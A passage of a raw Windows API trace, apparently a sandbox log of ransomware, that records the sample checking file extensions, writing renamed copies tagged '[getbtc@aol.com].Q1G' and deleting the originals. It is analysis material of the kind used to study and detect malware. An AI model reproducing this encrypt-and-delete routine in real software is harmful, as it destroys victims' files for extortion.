[0052.342] lstrlenW (lpString=".pdf") returned 4 [0052.342] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0052.342] lstrlenW (lpString=".xls") returned 4 [0052.342] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0052.342] lstrlenW (lpString=".xlsx") returned 5 [0052.342] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0052.342] lstrlenW (lpString=".ppt") returned 4 [0052.342] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0052.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.342] lstrlenW (lpString=".zip") returned 4 [0052.342] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0052.342] lstrlenW (lpString=".rar") returned 4 [0052.342] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0052.342] lstrlenW (lpString=".bz2") returned 4 [0052.342] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0052.342] lstrlenW (lpString=".7z") returned 3 [0052.342] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0052.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.342] lstrlenW (lpString=".dbf") returned 4 [0052.342] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0052.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.342] lstrlenW (lpString=".1cd") returned 4 [0052.342] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0052.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.342] lstrlenW (lpString=".jpg") returned 4 [0052.342] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0052.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.342] lstrlenW (lpString=".doc") returned 4 [0052.342] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0052.342] lstrlenW (lpString=".docx") returned 5 [0052.342] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0052.343] lstrlenW (lpString=".pdf") returned 4 [0052.343] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0052.343] lstrlenW (lpString=".xls") returned 4 [0052.343] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0052.343] lstrlenW (lpString=".xlsx") returned 5 [0052.343] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0052.343] lstrlenW (lpString=".ppt") returned 4 [0052.343] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0052.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.343] lstrlenW (lpString=".zip") returned 4 [0052.343] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0052.343] lstrlenW (lpString=".rar") returned 4 [0052.343] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0052.343] lstrlenW (lpString=".bz2") returned 4 [0052.343] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0052.343] lstrlenW (lpString=".7z") returned 3 [0052.343] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0052.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.343] lstrlenW (lpString=".dbf") returned 4 [0052.343] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0052.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.343] lstrlenW (lpString=".1cd") returned 4 [0052.343] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0052.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.343] lstrlenW (lpString=".jpg") returned 4 [0052.343] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0052.343] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Q1G") returned 1 [0052.343] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0052.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.344] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=715834) returned 1 [0052.344] CloseHandle (hObject=0x214) returned 1 [0052.344] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0052.344] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.344] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.344] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0052.345] GetLastError () returned 0x0 [0052.345] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0052.359] WriteFile (in: hFile=0x1d0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0052.566] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.566] WriteFile (in: hFile=0x1d0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x104, lpOverlapped=0x0) returned 1 [0052.566] SetEndOfFile (hFile=0x1d0) returned 1 [0052.950] CloseHandle (hObject=0x1d0) returned 1 [0052.950] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.950] SetEndOfFile (hFile=0x214) returned 1 [0052.955] CloseHandle (hObject=0x214) returned 1 [0052.956] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0052.956] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0053.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.131] lstrlenW (lpString=".doc") returned 4 [0053.138] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0053.138] lstrlenW (lpString=".docx") returned 5 [0053.149] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0053.151] lstrlenW (lpString=".pdf") returned 4 [0053.153] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0053.154] lstrlenW (lpString=".xls") returned 4 [0053.155] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0053.162] lstrlenW (lpString=".xlsx") returned 5 [0053.162] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0053.162] lstrlenW (lpString=".ppt") returned 4 [0053.162] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0053.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.169] lstrlenW (lpString=".zip") returned 4 [0053.169] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0053.169] lstrlenW (lpString=".rar") returned 4 [0053.169] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0053.169] lstrlenW (lpString=".bz2") returned 4 [0053.169] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0053.169] lstrlenW (lpString=".7z") returned 3 [0053.169] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0053.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.169] lstrlenW (lpString=".dbf") returned 4 [0053.169] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0053.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.169] lstrlenW (lpString=".1cd") returned 4 [0053.169] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.170] lstrlenW (lpString=".jpg") returned 4 [0053.170] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.170] lstrlenW (lpString=".doc") returned 4 [0053.170] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString=".docx") returned 5 [0053.170] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0053.170] lstrlenW (lpString=".pdf") returned 4 [0053.170] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString=".xls") returned 4 [0053.170] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString=".xlsx") returned 5 [0053.170] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0053.170] lstrlenW (lpString=".ppt") returned 4 [0053.170] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.170] lstrlenW (lpString=".zip") returned 4 [0053.170] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString=".rar") returned 4 [0053.170] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString=".bz2") returned 4 [0053.170] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString=".7z") returned 3 [0053.170] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0053.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.170] lstrlenW (lpString=".dbf") returned 4 [0053.170] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.170] lstrlenW (lpString=".1cd") returned 4 [0053.170] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0053.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.170] lstrlenW (lpString=".jpg") returned 4 [0053.170] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0053.171] lstrcmpiW (lpString1=".sys", lpString2=".Q1G") returned 1 [0053.171] lstrlenW (lpString="pagefile.sys") returned 12 [0053.171] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.171] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.171] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.171] lstrlenW (lpString=".doc") returned 4 [0053.171] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0053.171] lstrlenW (lpString=".docx") returned 5 [0053.171] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0053.171] lstrlenW (lpString=".pdf") returned 4 [0053.171] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0053.171] lstrlenW (lpString=".xls") returned 4 [0053.171] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0053.171] lstrlenW (lpString=".xlsx") returned 5 [0053.171] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0053.171] lstrlenW (lpString=".ppt") returned 4 [0053.171] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0053.171] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.171] lstrlenW (lpString=".zip") returned 4 [0053.171] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0053.171] lstrlenW (lpString=".rar") returned 4 [0053.171] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0053.171] lstrlenW (lpString=".bz2") returned 4 [0053.171] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0053.171] lstrlenW (lpString=".7z") returned 3 [0053.171] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0053.171] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.171] lstrlenW (lpString=".dbf") returned 4 [0053.172] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0053.172] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.172] lstrlenW (lpString=".1cd") returned 4 [0053.172] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0053.172] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.172] lstrlenW (lpString=".jpg") returned 4 [0053.172] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0053.172] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.172] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.172] lstrlenW (lpString=".doc") returned 4 [0053.172] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0053.172] lstrlenW (lpString=".docx") returned 5 [0053.172] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0053.172] lstrlenW (lpString=".pdf") returned 4 [0053.172] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0053.172] lstrlenW (lpString=".xls") returned 4 [0053.172] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0053.172] lstrlenW (lpString=".xlsx") returned 5 [0053.172] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0053.172] lstrlenW (lpString=".ppt") returned 4 [0053.172] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0053.172] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.172] lstrlenW (lpString=".zip") returned 4 [0053.172] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0053.172] lstrlenW (lpString=".rar") returned 4 [0053.172] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0053.172] lstrlenW (lpString=".bz2") returned 4 [0053.172] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0053.172] lstrlenW (lpString=".7z") returned 3 [0053.172] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0053.172] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.172] lstrlenW (lpString=".dbf") returned 4 [0053.172] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0053.172] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.172] lstrlenW (lpString=".1cd") returned 4 [0053.173] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0053.173] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0053.173] lstrlenW (lpString=".jpg") returned 4 [0053.173] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0053.173] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0053.173] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0053.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.147] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=99136) returned 1 [0054.147] CloseHandle (hObject=0x214) returned 1 [0054.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0054.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.149] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.149] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.150] GetLastError () returned 0x0 [0054.150] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x18340, lpOverlapped=0x0) returned 1 [0054.153] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x18350, lpOverlapped=0x0) returned 1 [0054.156] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.156] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.156] SetEndOfFile (hFile=0x20c) returned 1 [0054.156] CloseHandle (hObject=0x20c) returned 1 [0054.156] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.156] SetEndOfFile (hFile=0x214) returned 1 [0054.157] CloseHandle (hObject=0x214) returned 1 [0054.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.158] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0054.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.158] lstrlenW (lpString=".doc") returned 4 [0054.158] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.158] lstrlenW (lpString=".docx") returned 5 [0054.158] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0054.158] lstrlenW (lpString=".pdf") returned 4 [0054.158] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.158] lstrlenW (lpString=".xls") returned 4 [0054.158] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.158] lstrlenW (lpString=".xlsx") returned 5 [0054.158] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0054.158] lstrlenW (lpString=".ppt") returned 4 [0054.158] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.158] lstrlenW (lpString=".zip") returned 4 [0054.158] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.158] lstrlenW (lpString=".rar") returned 4 [0054.158] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.158] lstrlenW (lpString=".bz2") returned 4 [0054.158] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.158] lstrlenW (lpString=".7z") returned 3 [0054.158] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.158] lstrlenW (lpString=".dbf") returned 4 [0054.158] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.158] lstrlenW (lpString=".1cd") returned 4 [0054.159] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.159] lstrlenW (lpString=".jpg") returned 4 [0054.159] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.159] lstrlenW (lpString=".doc") returned 4 [0054.159] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.159] lstrlenW (lpString=".docx") returned 5 [0054.159] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0054.159] lstrlenW (lpString=".pdf") returned 4 [0054.159] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.159] lstrlenW (lpString=".xls") returned 4 [0054.159] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.159] lstrlenW (lpString=".xlsx") returned 5 [0054.159] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0054.159] lstrlenW (lpString=".ppt") returned 4 [0054.159] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.159] lstrlenW (lpString=".zip") returned 4 [0054.159] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.159] lstrlenW (lpString=".rar") returned 4 [0054.159] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.159] lstrlenW (lpString=".bz2") returned 4 [0054.159] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.159] lstrlenW (lpString=".7z") returned 3 [0054.159] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.159] lstrlenW (lpString=".dbf") returned 4 [0054.159] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.159] lstrlenW (lpString=".1cd") returned 4 [0054.159] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.160] lstrlenW (lpString=".jpg") returned 4 [0054.160] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.160] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0054.160] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0054.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.161] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=1369952) returned 1 [0054.161] CloseHandle (hObject=0x214) returned 1 [0054.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0054.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common 